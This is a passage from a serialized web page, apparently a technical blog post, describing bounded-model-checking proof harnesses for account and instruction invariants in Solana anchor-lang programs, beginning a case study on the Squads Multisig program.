",{"type":23,"tag":186,"props":20717,"children":20718},{},[20719],{"type":28,"value":19206},{"type":28,"value":20721}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":186,"props":20723,"children":20724},{},[20725],{"type":28,"value":20726},"automagically",{"type":28,"value":20728}," for anchor-lang programs.",{"type":23,"tag":24,"props":20730,"children":20731},{},[20732,20734,20740,20742,20747,20749,20754,20755,20760,20762,20767,20769,20774,20775,20781,20783,20789,20790,20796],{"type":28,"value":20733},"Specifically, for a given ",{"type":23,"tag":94,"props":20735,"children":20737},{"className":20736},[],[20738],{"type":28,"value":20739},"Context\u003CT>",{"type":28,"value":20741}," with ",{"type":23,"tag":186,"props":20743,"children":20744},{},[20745],{"type":28,"value":20746},"incoming",{"type":28,"value":20748}," accounts of types (",{"type":23,"tag":94,"props":20750,"children":20752},{"className":20751},[],[20753],{"type":28,"value":19978},{"type":28,"value":3835},{"type":23,"tag":94,"props":20756,"children":20758},{"className":20757},[],[20759],{"type":28,"value":2979},{"type":28,"value":20761},") and ",{"type":23,"tag":186,"props":20763,"children":20764},{},[20765],{"type":28,"value":20766},"outgoing",{"type":28,"value":20768}," accounts of type (",{"type":23,"tag":94,"props":20770,"children":20772},{"className":20771},[],[20773],{"type":28,"value":2979},{"type":28,"value":3835},{"type":23,"tag":94,"props":20776,"children":20778},{"className":20777},[],[20779],{"type":28,"value":20780},"close",{"type":28,"value":20782},") we define a ",{"type":23,"tag":94,"props":20784,"children":20786},{"className":20785},[],[20787],{"type":28,"value":20788},"pre_condition",{"type":28,"value":557},{"type":23,"tag":94,"props":20791,"children":20793},{"className":20792},[],[20794],{"type":28,"value":20795},"post_condition",{"type":28,"value":20797}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":24,"props":20799,"children":20800},{},[20801],{"type":23,"tag":94,"props":20802,"children":20804},{"className":20803},[3237,3238],[20805],{"type":23,"tag":314,"props":20806,"children":20808},{"className":20807},[3243],[20809],{"type":23,"tag":314,"props":20810,"children":20812},{"className":20811,"ariaHidden":1481},[3248],[20813,20849],{"type":23,"tag":314,"props":20814,"children":20816},{"className":20815},[3253],[20817,20822,20830,20835,20839,20845],{"type":23,"tag":314,"props":20818,"children":20821},{"className":20819,"style":20820},[3258],"height:0.6833em;",[],{"type":23,"tag":314,"props":20823,"children":20827},{"className":20824,"style":20826},[3264,20825],"mathnormal","margin-right:0.13889em;",[20828],{"type":28,"value":20829},"P",{"type":23,"tag":314,"props":20831,"children":20833},{"className":20832},[3264],[20834],{"type":28,"value":1600},{"type":23,"tag":314,"props":20836,"children":20838},{"className":20837,"style":3442},[3344],[],{"type":23,"tag":314,"props":20840,"children":20842},{"className":20841},[3447],[20843],{"type":28,"value":20844},":=",{"type":23,"tag":314,"props":20846,"children":20848},{"className":20847,"style":3442},[3344],[],{"type":23,"tag":314,"props":20850,"children":20852},{"className":20851},[3253],[20853,20858,20998,21002],{"type":23,"tag":314,"props":20854,"children":20857},{"className":20855,"style":20856},[3258],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":314,"props":20859,"children":20862},{"className":20860},[20861],"mop",[20863,20872],{"type":23,"tag":314,"props":20864,"children":20869},{"className":20865,"style":20868},[20861,20866,20867],"op-symbol","small-op","position:relative;top:0em;",[20870],{"type":28,"value":20871},"⋀",{"type":23,"tag":314,"props":20873,"children":20875},{"className":20874},[3280],[20876],{"type":23,"tag":314,"props":20877,"children":20880},{"className":20878},[3285,20879],"vlist-t2",[20881,20986],{"type":23,"tag":314,"props":20882,"children":20884},{"className":20883},[3290],[20885,20979],{"type":23,"tag":314,"props":20886,"children":20889},{"className":20887,"style":20888},[3295],"height:0.2253em;",[20890],{"type":23,"tag":314,"props":20891,"children":20893},{"style":20892},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[20894,20898],{"type":23,"tag":314,"props":20895,"children":20897},{"className":20896,"style":3305},[3304],[],{"type":23,"tag":314,"props":20899,"children":20901},{"className":20900},[3310,3311,3312,3313],[20902],{"type":23,"tag":314,"props":20903,"children":20905},{"className":20904},[3264,3313],[20906,20911,20917,20927,20933,20942,20951,20957,20962,20968,20973],{"type":23,"tag":314,"props":20907,"children":20909},{"className":20908},[3264,20825,3313],[20910],{"type":28,"value":31},{"type":23,"tag":314,"props":20912,"children":20914},{"className":20913},[3264,20825,3313],[20915],{"type":28,"value":20916},"cc",{"type":23,"tag":314,"props":20918,"children":20920},{"className":20919},[3344,3313],[20921],{"type":23,"tag":314,"props":20922,"children":20924},{"className":20923},[3313],[20925],{"type":28,"value":20926}," ",{"type":23,"tag":314,"props":20928,"children":20930},{"className":20929},[3447,3313],[20931],{"type":28,"value":20932},"∈",{"type":23,"tag":314,"props":20934,"children":20936},{"className":20935},[3344,3313],[20937],{"type":23,"tag":314,"props":20938,"children":20940},{"className":20939},[3313],[20941],{"type":28,"value":20926},{"type":23,"tag":314,"props":20943,"children":20945},{"className":20944},[3264,28,3313],[20946],{"type":23,"tag":314,"props":20947,"children":20949},{"className":20948},[3264,3313],[20950],{"type":28,"value":20746},{"type":23,"tag":314,"props":20952,"children":20955},{"className":20953},[20954,3313],"mopen",[20956],{"type":28,"value":341},{"type":23,"tag":314,"props":20958,"children":20960},{"className":20959},[3264,20825,3313],[20961],{"type":28,"value":308},{"type":23,"tag":314,"props":20963,"children":20965},{"className":20964},[3264,20825,3313],[20966],{"type":28,"value":20967},"t",{"type":23,"tag":314,"props":20969,"children":20971},{"className":20970},[3264,20825,3313],[20972],{"type":28,"value":18514},{"type":23,"tag":314,"props":20974,"children":20977},{"className":20975},[20976,3313],"mclose",[20978],{"type":28,"value":431},{"type":23,"tag":314,"props":20980,"children":20983},{"className":20981},[20982],"vlist-s",[20984],{"type":28,"value":20985},"​",{"type":23,"tag":314,"props":20987,"children":20989},{"className":20988},[3290],[20990],{"type":23,"tag":314,"props":20991,"children":20994},{"className":20992,"style":20993},[3295],"height:0.4747em;",[20995],{"type":23,"tag":314,"props":20996,"children":20997},{},[],{"type":23,"tag":314,"props":20999,"children":21001},{"className":21000,"style":3383},[3344],[],{"type":23,"tag":314,"props":21003,"children":21005},{"className":21004},[3264],[21006,21016,21021,21026,21031],{"type":23,"tag":314,"props":21007,"children":21009},{"className":21008},[3264,28],[21010],{"type":23,"tag":314,"props":21011,"children":21013},{"className":21012},[3264],[21014],{"type":28,"value":21015},"invariant",{"type":23,"tag":314,"props":21017,"children":21019},{"className":21018},[20954],[21020],{"type":28,"value":341},{"type":23,"tag":314,"props":21022,"children":21024},{"className":21023},[3264,20825],[21025],{"type":28,"value":31},{"type":23,"tag":314,"props":21027,"children":21029},{"className":21028},[3264,20825],[21030],{"type":28,"value":20916},{"type":23,"tag":314,"props":21032,"children":21034},{"className":21033},[20976],[21035],{"type":28,"value":431},{"type":23,"tag":24,"props":21037,"children":21038},{},[21039],{"type":23,"tag":94,"props":21040,"children":21042},{"className":21041},[3237,3238],[21043],{"type":23,"tag":314,"props":21044,"children":21046},{"className":21045},[3243],[21047],{"type":23,"tag":314,"props":21048,"children":21050},{"className":21049,"ariaHidden":1481},[3248],[21051,21082],{"type":23,"tag":314,"props":21052,"children":21054},{"className":21053},[3253],[21055,21059,21064,21069,21073,21078],{"type":23,"tag":314,"props":21056,"children":21058},{"className":21057,"style":20820},[3258],[],{"type":23,"tag":314,"props":21060,"children":21062},{"className":21061,"style":20826},[3264,20825],[21063],{"type":28,"value":20829},{"type":23,"tag":314,"props":21065,"children":21067},{"className":21066},[3264],[21068],{"type":28,"value":3267},{"type":23,"tag":314,"props":21070,"children":21072},{"className":21071,"style":3442},[3344],[],{"type":23,"tag":314,"props":21074,"children":21076},{"className":21075},[3447],[21077],{"type":28,"value":20844},{"type":23,"tag":314,"props":21079,"children":21081},{"className":21080,"style":3442},[3344],[],{"type":23,"tag":314,"props":21083,"children":21085},{"className":21084},[3253],[21086,21090,21213,21217],{"type":23,"tag":314,"props":21087,"children":21089},{"className":21088,"style":20856},[3258],[],{"type":23,"tag":314,"props":21091,"children":21093},{"className":21092},[20861],[21094,21099],{"type":23,"tag":314,"props":21095,"children":21097},{"className":21096,"style":20868},[20861,20866,20867],[21098],{"type":28,"value":20871},{"type":23,"tag":314,"props":21100,"children":21102},{"className":21101},[3280],[21103],{"type":23,"tag":314,"props":21104,"children":21106},{"className":21105},[3285,20879],[21107,21202],{"type":23,"tag":314,"props":21108,"children":21110},{"className":21109},[3290],[21111,21197],{"type":23,"tag":314,"props":21112,"children":21114},{"className":21113,"style":20888},[3295],[21115],{"type":23,"tag":314,"props":21116,"children":21117},{"style":20892},[21118,21122],{"type":23,"tag":314,"props":21119,"children":21121},{"className":21120,"style":3305},[3304],[],{"type":23,"tag":314,"props":21123,"children":21125},{"className":21124},[3310,3311,3312,3313],[21126],{"type":23,"tag":314,"props":21127,"children":21129},{"className":21128},[3264,3313],[21130,21135,21140,21149,21154,21163,21172,21177,21182,21187,21192],{"type":23,"tag":314,"props":21131,"children":21133},{"className":21132},[3264,20825,3313],[21134],{"type":28,"value":31},{"type":23,"tag":314,"props":21136,"children":21138},{"className":21137},[3264,20825,3313],[21139],{"type":28,"value":20916},{"type":23,"tag":314,"props":21141,"children":21143},{"className":21142},[3344,3313],[21144],{"type":23,"tag":314,"props":21145,"children":21147},{"className":21146},[3313],[21148],{"type":28,"value":20926},{"type":23,"tag":314,"props":21150,"children":21152},{"className":21151},[3447,3313],[21153],{"type":28,"value":20932},{"type":23,"tag":314,"props":21155,"children":21157},{"className":21156},[3344,3313],[21158],{"type":23,"tag":314,"props":21159,"children":21161},{"className":21160},[3313],[21162],{"type":28,"value":20926},{"type":23,"tag":314,"props":21164,"children":21166},{"className":21165},[3264,28,3313],[21167],{"type":23,"tag":314,"props":21168,"children":21170},{"className":21169},[3264,3313],[21171],{"type":28,"value":20766},{"type":23,"tag":314,"props":21173,"children":21175},{"className":21174},[20954,3313],[21176],{"type":28,"value":341},{"type":23,"tag":314,"props":21178,"children":21180},{"className":21179},[3264,20825,3313],[21181],{"type":28,"value":308},{"type":23,"tag":314,"props":21183,"children":21185},{"className":21184},[3264,20825,3313],[21186],{"type":28,"value":20967},{"type":23,"tag":314,"props":21188,"children":21190},{"className":21189},[3264,20825,3313],[21191],{"type":28,"value":18514},{"type":23,"tag":314,"props":21193,"children":21195},{"className":21194},[20976,3313],[21196],{"type":28,"value":431},{"type":23,"tag":314,"props":21198,"children":21200},{"className":21199},[20982],[21201],{"type":28,"value":20985},{"type":23,"tag":314,"props":21203,"children":21205},{"className":21204},[3290],[21206],{"type":23,"tag":314,"props":21207,"children":21209},{"className":21208,"style":20993},[3295],[21210],{"type":23,"tag":314,"props":21211,"children":21212},{},[],{"type":23,"tag":314,"props":21214,"children":21216},{"className":21215,"style":3383},[3344],[],{"type":23,"tag":314,"props":21218,"children":21220},{"className":21219},[3264],[21221,21230,21235,21240,21245],{"type":23,"tag":314,"props":21222,"children":21224},{"className":21223},[3264,28],[21225],{"type":23,"tag":314,"props":21226,"children":21228},{"className":21227},[3264],[21229],{"type":28,"value":21015},{"type":23,"tag":314,"props":21231,"children":21233},{"className":21232},[20954],[21234],{"type":28,"value":341},{"type":23,"tag":314,"props":21236,"children":21238},{"className":21237},[3264,20825],[21239],{"type":28,"value":31},{"type":23,"tag":314,"props":21241,"children":21243},{"className":21242},[3264,20825],[21244],{"type":28,"value":20916},{"type":23,"tag":314,"props":21246,"children":21248},{"className":21247},[20976],[21249],{"type":28,"value":431},{"type":23,"tag":24,"props":21251,"children":21252},{},[21253],{"type":28,"value":21254},"Our instruction invariants are represented as:",{"type":23,"tag":127,"props":21256,"children":21257},{},[21258,21294],{"type":23,"tag":88,"props":21259,"children":21260},{},[21261,21288,21289],{"type":23,"tag":94,"props":21262,"children":21264},{"className":21263},[3237,3238],[21265],{"type":23,"tag":314,"props":21266,"children":21268},{"className":21267},[3243],[21269],{"type":23,"tag":314,"props":21270,"children":21272},{"className":21271,"ariaHidden":1481},[3248],[21273],{"type":23,"tag":314,"props":21274,"children":21276},{"className":21275},[3253],[21277,21281],{"type":23,"tag":314,"props":21278,"children":21280},{"className":21279,"style":20820},[3258],[],{"type":23,"tag":314,"props":21282,"children":21285},{"className":21283,"style":21284},[3264,20825],"margin-right:0.05764em;",[21286],{"type":28,"value":21287},"S",{"type":28,"value":14573},{"type":23,"tag":94,"props":21290,"children":21292},{"className":21291},[],[21293],{"type":28,"value":19392},{"type":23,"tag":88,"props":21295,"children":21296},{},[21297,21323,21324],{"type":23,"tag":94,"props":21298,"children":21300},{"className":21299},[3237,3238],[21301],{"type":23,"tag":314,"props":21302,"children":21304},{"className":21303},[3243],[21305],{"type":23,"tag":314,"props":21306,"children":21308},{"className":21307,"ariaHidden":1481},[3248],[21309],{"type":23,"tag":314,"props":21310,"children":21312},{"className":21311},[3253],[21313,21317],{"type":23,"tag":314,"props":21314,"children":21316},{"className":21315,"style":20820},[3258],[],{"type":23,"tag":314,"props":21318,"children":21320},{"className":21319,"style":21284},[3264,20825],[21321],{"type":28,"value":21322},"E",{"type":28,"value":14573},{"type":23,"tag":94,"props":21325,"children":21327},{"className":21326},[],[21328],{"type":28,"value":19399},{"type":23,"tag":24,"props":21330,"children":21331},{},[21332,21334,21361,21363,21368,21370,21376],{"type":28,"value":21333},"And ",{"type":23,"tag":94,"props":21335,"children":21337},{"className":21336},[3237,3238],[21338],{"type":23,"tag":314,"props":21339,"children":21341},{"className":21340},[3243],[21342],{"type":23,"tag":314,"props":21343,"children":21345},{"className":21344,"ariaHidden":1481},[3248],[21346],{"type":23,"tag":314,"props":21347,"children":21349},{"className":21348},[3253],[21350,21354],{"type":23,"tag":314,"props":21351,"children":21353},{"className":21352,"style":20820},[3258],[],{"type":23,"tag":314,"props":21355,"children":21358},{"className":21356,"style":21357},[3264,20825],"margin-right:0.07153em;",[21359],{"type":28,"value":21360},"K",{"type":28,"value":21362}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":94,"props":21364,"children":21366},{"className":21365},[],[21367],{"type":28,"value":19727},{"type":28,"value":21369}," not an ",{"type":23,"tag":94,"props":21371,"children":21373},{"className":21372},[],[21374],{"type":28,"value":21375},"Err",{"type":28,"value":419},{"type":23,"tag":24,"props":21378,"children":21379},{},[21380],{"type":28,"value":21381},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":837,"props":21383,"children":21385},{"id":21384},"account-invariants-1",[21386],{"type":28,"value":21387},"Account invariants",{"type":23,"tag":24,"props":21389,"children":21390},{},[21391,21393,21424,21426,21456,21458,21488],{"type":28,"value":21392},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":94,"props":21394,"children":21396},{"className":21395},[3237,3238],[21397],{"type":23,"tag":314,"props":21398,"children":21400},{"className":21399},[3243],[21401],{"type":23,"tag":314,"props":21402,"children":21404},{"className":21403,"ariaHidden":1481},[3248],[21405],{"type":23,"tag":314,"props":21406,"children":21408},{"className":21407},[3253],[21409,21413,21419],{"type":23,"tag":314,"props":21410,"children":21412},{"className":21411,"style":20820},[3258],[],{"type":23,"tag":314,"props":21414,"children":21416},{"className":21415},[3264],[21417],{"type":28,"value":21418},"¬",{"type":23,"tag":314,"props":21420,"children":21422},{"className":21421,"style":21357},[3264,20825],[21423],{"type":28,"value":21360},{"type":28,"value":21425},") or the account post-invariants should hold (",{"type":23,"tag":94,"props":21427,"children":21429},{"className":21428},[3237,3238],[21430],{"type":23,"tag":314,"props":21431,"children":21433},{"className":21432},[3243],[21434],{"type":23,"tag":314,"props":21435,"children":21437},{"className":21436,"ariaHidden":1481},[3248],[21438],{"type":23,"tag":314,"props":21439,"children":21441},{"className":21440},[3253],[21442,21446,21451],{"type":23,"tag":314,"props":21443,"children":21445},{"className":21444,"style":20820},[3258],[],{"type":23,"tag":314,"props":21447,"children":21449},{"className":21448,"style":20826},[3264,20825],[21450],{"type":28,"value":20829},{"type":23,"tag":314,"props":21452,"children":21454},{"className":21453},[3264],[21455],{"type":28,"value":3267},{"type":28,"value":21457},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":94,"props":21459,"children":21461},{"className":21460},[3237,3238],[21462],{"type":23,"tag":314,"props":21463,"children":21465},{"className":21464},[3243],[21466],{"type":23,"tag":314,"props":21467,"children":21469},{"className":21468,"ariaHidden":1481},[3248],[21470],{"type":23,"tag":314,"props":21471,"children":21473},{"className":21472},[3253],[21474,21478,21483],{"type":23,"tag":314,"props":21475,"children":21477},{"className":21476,"style":20820},[3258],[],{"type":23,"tag":314,"props":21479,"children":21481},{"className":21480,"style":20826},[3264,20825],[21482],{"type":28,"value":20829},{"type":23,"tag":314,"props":21484,"children":21486},{"className":21485},[3264],[21487],{"type":28,"value":1600},{"type":28,"value":21489},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":24,"props":21491,"children":21492},{},[21493,21495],{"type":28,"value":21494},"So we are trying to prove that ",{"type":23,"tag":94,"props":21496,"children":21498},{"className":21497},[3237,3238],[21499],{"type":23,"tag":314,"props":21500,"children":21502},{"className":21501},[3243],[21503],{"type":23,"tag":314,"props":21504,"children":21506},{"className":21505,"ariaHidden":1481},[3248],[21507,21544,21576],{"type":23,"tag":314,"props":21508,"children":21510},{"className":21509},[3253],[21511,21515,21520,21525,21530,21534,21540],{"type":23,"tag":314,"props":21512,"children":21514},{"className":21513,"style":3365},[3258],[],{"type":23,"tag":314,"props":21516,"children":21518},{"className":21517},[20954],[21519],{"type":28,"value":341},{"type":23,"tag":314,"props":21521,"children":21523},{"className":21522,"style":20826},[3264,20825],[21524],{"type":28,"value":20829},{"type":23,"tag":314,"props":21526,"children":21528},{"className":21527},[3264],[21529],{"type":28,"value":1600},{"type":23,"tag":314,"props":21531,"children":21533},{"className":21532,"style":3345},[3344],[],{"type":23,"tag":314,"props":21535,"children":21537},{"className":21536},[3350],[21538],{"type":28,"value":21539},"∧",{"type":23,"tag":314,"props":21541,"children":21543},{"className":21542,"style":3345},[3344],[],{"type":23,"tag":314,"props":21545,"children":21547},{"className":21546},[3253],[21548,21552,21557,21562,21566,21572],{"type":23,"tag":314,"props":21549,"children":21551},{"className":21550,"style":3365},[3258],[],{"type":23,"tag":314,"props":21553,"children":21555},{"className":21554,"style":21357},[3264,20825],[21556],{"type":28,"value":21360},{"type":23,"tag":314,"props":21558,"children":21560},{"className":21559},[20976],[21561],{"type":28,"value":431},{"type":23,"tag":314,"props":21563,"children":21565},{"className":21564,"style":3442},[3344],[],{"type":23,"tag":314,"props":21567,"children":21569},{"className":21568},[3447],[21570],{"type":28,"value":21571},"→",{"type":23,"tag":314,"props":21573,"children":21575},{"className":21574,"style":3442},[3344],[],{"type":23,"tag":314,"props":21577,"children":21579},{"className":21578},[3253],[21580,21584,21589],{"type":23,"tag":314,"props":21581,"children":21583},{"className":21582,"style":20820},[3258],[],{"type":23,"tag":314,"props":21585,"children":21587},{"className":21586,"style":20826},[3264,20825],[21588],{"type":28,"value":20829},{"type":23,"tag":314,"props":21590,"children":21592},{"className":21591},[3264],[21593],{"type":28,"value":3267},{"type":23,"tag":24,"props":21595,"children":21596},{},[21597],{"type":28,"value":21598},"We can construct a proof harness like the following:",{"type":23,"tag":304,"props":21600,"children":21602},{"code":21601,"language":18698,"meta":7,"className":18699,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[21603],{"type":23,"tag":94,"props":21604,"children":21605},{"__ignoreMap":7},[21606,21614,21631],{"type":23,"tag":314,"props":21607,"children":21608},{"class":316,"line":317},[21609],{"type":23,"tag":314,"props":21610,"children":21611},{"style":338},[21612],{"type":28,"value":21613},"assume(P0)\n",{"type":23,"tag":314,"props":21615,"children":21616},{"class":316,"line":370},[21617,21622,21626],{"type":23,"tag":314,"props":21618,"children":21619},{"style":338},[21620],{"type":28,"value":21621},"res ",{"type":23,"tag":314,"props":21623,"children":21624},{"style":354},[21625],{"type":28,"value":1102},{"type":23,"tag":314,"props":21627,"children":21628},{"style":338},[21629],{"type":28,"value":21630}," instruction_handler(...)\n",{"type":23,"tag":314,"props":21632,"children":21633},{"class":316,"line":380},[21634,21638,21642,21647,21652,21657],{"type":23,"tag":314,"props":21635,"children":21636},{"style":2284},[21637],{"type":28,"value":19221},{"type":23,"tag":314,"props":21639,"children":21640},{"style":338},[21641],{"type":28,"value":341},{"type":23,"tag":314,"props":21643,"children":21645},{"style":21644},"--shiki-default:#F44747",[21646],{"type":28,"value":19859},{"type":23,"tag":314,"props":21648,"children":21649},{"style":338},[21650],{"type":28,"value":21651},"K ",{"type":23,"tag":314,"props":21653,"children":21654},{"style":21644},[21655],{"type":28,"value":21656},"||",{"type":23,"tag":314,"props":21658,"children":21659},{"style":338},[21660],{"type":28,"value":21661}," P1)\n",{"type":23,"tag":24,"props":21663,"children":21664},{},[21665],{"type":28,"value":21666},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":837,"props":21668,"children":21670},{"id":21669},"positive-instruction-invariant",[21671],{"type":28,"value":21672},"Positive instruction invariant",{"type":23,"tag":24,"props":21674,"children":21675},{},[21676,21678,21684,21686,21737],{"type":28,"value":21677},"Next we need to prove that ",{"type":23,"tag":94,"props":21679,"children":21681},{"className":21680},[],[21682],{"type":28,"value":21683},"success_if",{"type":28,"value":21685}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":94,"props":21687,"children":21689},{"className":21688},[3237,3238],[21690],{"type":23,"tag":314,"props":21691,"children":21693},{"className":21692},[3243],[21694],{"type":23,"tag":314,"props":21695,"children":21697},{"className":21696,"ariaHidden":1481},[3248],[21698,21724],{"type":23,"tag":314,"props":21699,"children":21701},{"className":21700},[3253],[21702,21706,21711,21715,21720],{"type":23,"tag":314,"props":21703,"children":21705},{"className":21704,"style":20820},[3258],[],{"type":23,"tag":314,"props":21707,"children":21709},{"className":21708,"style":21284},[3264,20825],[21710],{"type":28,"value":21287},{"type":23,"tag":314,"props":21712,"children":21714},{"className":21713,"style":3442},[3344],[],{"type":23,"tag":314,"props":21716,"children":21718},{"className":21717},[3447],[21719],{"type":28,"value":21571},{"type":23,"tag":314,"props":21721,"children":21723},{"className":21722,"style":3442},[3344],[],{"type":23,"tag":314,"props":21725,"children":21727},{"className":21726},[3253],[21728,21732],{"type":23,"tag":314,"props":21729,"children":21731},{"className":21730,"style":20820},[3258],[],{"type":23,"tag":314,"props":21733,"children":21735},{"className":21734,"style":21357},[3264,20825],[21736],{"type":28,"value":21360},{"type":28,"value":282},{"type":23,"tag":24,"props":21739,"children":21740},{},[21741],{"type":28,"value":21742},"Just like before we can construct a proof harness:",{"type":23,"tag":304,"props":21744,"children":21746},{"code":21745,"language":18698,"meta":7,"className":18699,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[21747],{"type":23,"tag":94,"props":21748,"children":21749},{"__ignoreMap":7},[21750,21758,21773],{"type":23,"tag":314,"props":21751,"children":21752},{"class":316,"line":317},[21753],{"type":23,"tag":314,"props":21754,"children":21755},{"style":338},[21756],{"type":28,"value":21757},"assume(S)\n",{"type":23,"tag":314,"props":21759,"children":21760},{"class":316,"line":370},[21761,21765,21769],{"type":23,"tag":314,"props":21762,"children":21763},{"style":338},[21764],{"type":28,"value":21621},{"type":23,"tag":314,"props":21766,"children":21767},{"style":354},[21768],{"type":28,"value":1102},{"type":23,"tag":314,"props":21770,"children":21771},{"style":338},[21772],{"type":28,"value":21630},{"type":23,"tag":314,"props":21774,"children":21775},{"class":316,"line":380},[21776,21780],{"type":23,"tag":314,"props":21777,"children":21778},{"style":2284},[21779],{"type":28,"value":19221},{"type":23,"tag":314,"props":21781,"children":21782},{"style":338},[21783],{"type":28,"value":21784},"(K)\n",{"type":23,"tag":24,"props":21786,"children":21787},{},[21788,21790,21795,21797,21809],{"type":28,"value":21789},"This proof assures that whenever ",{"type":23,"tag":94,"props":21791,"children":21793},{"className":21792},[],[21794],{"type":28,"value":19392},{"type":28,"value":21796}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":186,"props":21798,"children":21799},{},[21800,21802,21807],{"type":28,"value":21801},"even if ",{"type":23,"tag":94,"props":21803,"children":21805},{"className":21804},[],[21806],{"type":28,"value":19392},{"type":28,"value":21808}," is not satisfied",{"type":28,"value":21810},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":837,"props":21812,"children":21814},{"id":21813},"_3-negative-instruction-invariant",[21815],{"type":28,"value":21816},"3. Negative instruction invariant",{"type":23,"tag":24,"props":21818,"children":21819},{},[21820,21822,21827,21829,21885],{"type":28,"value":21821},"Finally, we want to prove that ",{"type":23,"tag":94,"props":21823,"children":21825},{"className":21824},[],[21826],{"type":28,"value":19399},{"type":28,"value":21828}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":94,"props":21830,"children":21832},{"className":21831},[3237,3238],[21833],{"type":23,"tag":314,"props":21834,"children":21836},{"className":21835},[3243],[21837],{"type":23,"tag":314,"props":21838,"children":21840},{"className":21839,"ariaHidden":1481},[3248],[21841,21867],{"type":23,"tag":314,"props":21842,"children":21844},{"className":21843},[3253],[21845,21849,21854,21858,21863],{"type":23,"tag":314,"props":21846,"children":21848},{"className":21847,"style":20820},[3258],[],{"type":23,"tag":314,"props":21850,"children":21852},{"className":21851,"style":21284},[3264,20825],[21853],{"type":28,"value":21322},{"type":23,"tag":314,"props":21855,"children":21857},{"className":21856,"style":3442},[3344],[],{"type":23,"tag":314,"props":21859,"children":21861},{"className":21860},[3447],[21862],{"type":28,"value":21571},{"type":23,"tag":314,"props":21864,"children":21866},{"className":21865,"style":3442},[3344],[],{"type":23,"tag":314,"props":21868,"children":21870},{"className":21869},[3253],[21871,21875,21880],{"type":23,"tag":314,"props":21872,"children":21874},{"className":21873,"style":20820},[3258],[],{"type":23,"tag":314,"props":21876,"children":21878},{"className":21877},[3264],[21879],{"type":28,"value":21418},{"type":23,"tag":314,"props":21881,"children":21883},{"className":21882,"style":21357},[3264,20825],[21884],{"type":28,"value":21360},{"type":28,"value":282},{"type":23,"tag":24,"props":21887,"children":21888},{},[21889],{"type":28,"value":21890},"This harness looks just like the previous one:",{"type":23,"tag":304,"props":21892,"children":21894},{"code":21893,"language":18698,"meta":7,"className":18699,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[21895],{"type":23,"tag":94,"props":21896,"children":21897},{"__ignoreMap":7},[21898,21906,21921],{"type":23,"tag":314,"props":21899,"children":21900},{"class":316,"line":317},[21901],{"type":23,"tag":314,"props":21902,"children":21903},{"style":338},[21904],{"type":28,"value":21905},"assume(E)\n",{"type":23,"tag":314,"props":21907,"children":21908},{"class":316,"line":370},[21909,21913,21917],{"type":23,"tag":314,"props":21910,"children":21911},{"style":338},[21912],{"type":28,"value":21621},{"type":23,"tag":314,"props":21914,"children":21915},{"style":354},[21916],{"type":28,"value":1102},{"type":23,"tag":314,"props":21918,"children":21919},{"style":338},[21920],{"type":28,"value":21630},{"type":23,"tag":314,"props":21922,"children":21923},{"class":316,"line":380},[21924,21928,21932,21936],{"type":23,"tag":314,"props":21925,"children":21926},{"style":2284},[21927],{"type":28,"value":19221},{"type":23,"tag":314,"props":21929,"children":21930},{"style":338},[21931],{"type":28,"value":341},{"type":23,"tag":314,"props":21933,"children":21934},{"style":21644},[21935],{"type":28,"value":19859},{"type":23,"tag":314,"props":21937,"children":21938},{"style":338},[21939],{"type":28,"value":21940},"K)\n",{"type":23,"tag":24,"props":21942,"children":21943},{},[21944,21946,21950],{"type":28,"value":21945},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":186,"props":21947,"children":21948},{},[21949],{"type":28,"value":15613},{"type":28,"value":21951}," the account invariants we expect are always being preserved.",{"type":23,"tag":61,"props":21953,"children":21955},{"id":21954},"case-study-squads-multisig",[21956],{"type":28,"value":21957},"Case study: Squads Multisig",{"type":23,"tag":24,"props":21959,"children":21960},{},[21961,21963,21968],{"type":28,"value":21962},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":31,"props":21964,"children":21966},{"href":18062,"rel":21965},[35],[21967],{"type":28,"value":18066},{"type":28,"value":282},{"type":23,"tag":24,"props":21970,"children":21971},{},[21972,21974,21980,21982,21988],{"type":28,"value":21973},"The program defines a Multisig account (",{"type":23,"tag":94,"props":21975,"children":21977},{"className":21976},[],[21978],{"type":28,"value":21979},"Ms",{"type":28,"value":21981},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":94,"props":21983,"children":21985},{"className":21984},[],[21986],{"type":28,"value":21987},"threshold",{"type":28,"value":21989}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":24,"props":21991,"children":21992},{},[21993],{"type":28,"value":21994},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":24,"props":21996,"children":21997},{},[21998],{"type":28,"value":21999},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":84,"props":22001,"children":22002},{},[22003,22008,22013,22018],{"type":23,"tag":88,"props":22004,"children":22005},{},[22006],{"type":28,"value":22007},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":88,"props":22009,"children":22010},{},[22011],{"type":28,"value":22012},"Verify threshold requirements",{"type":23,"tag":88,"props":22014,"children":22015},{},[22016],{"type":28,"value":22017},"Verify requirements to remove a member",{"type":23,"tag":88,"props":22019,"children":22020},{},[22021],{"type":28,"value":22022},"Safety 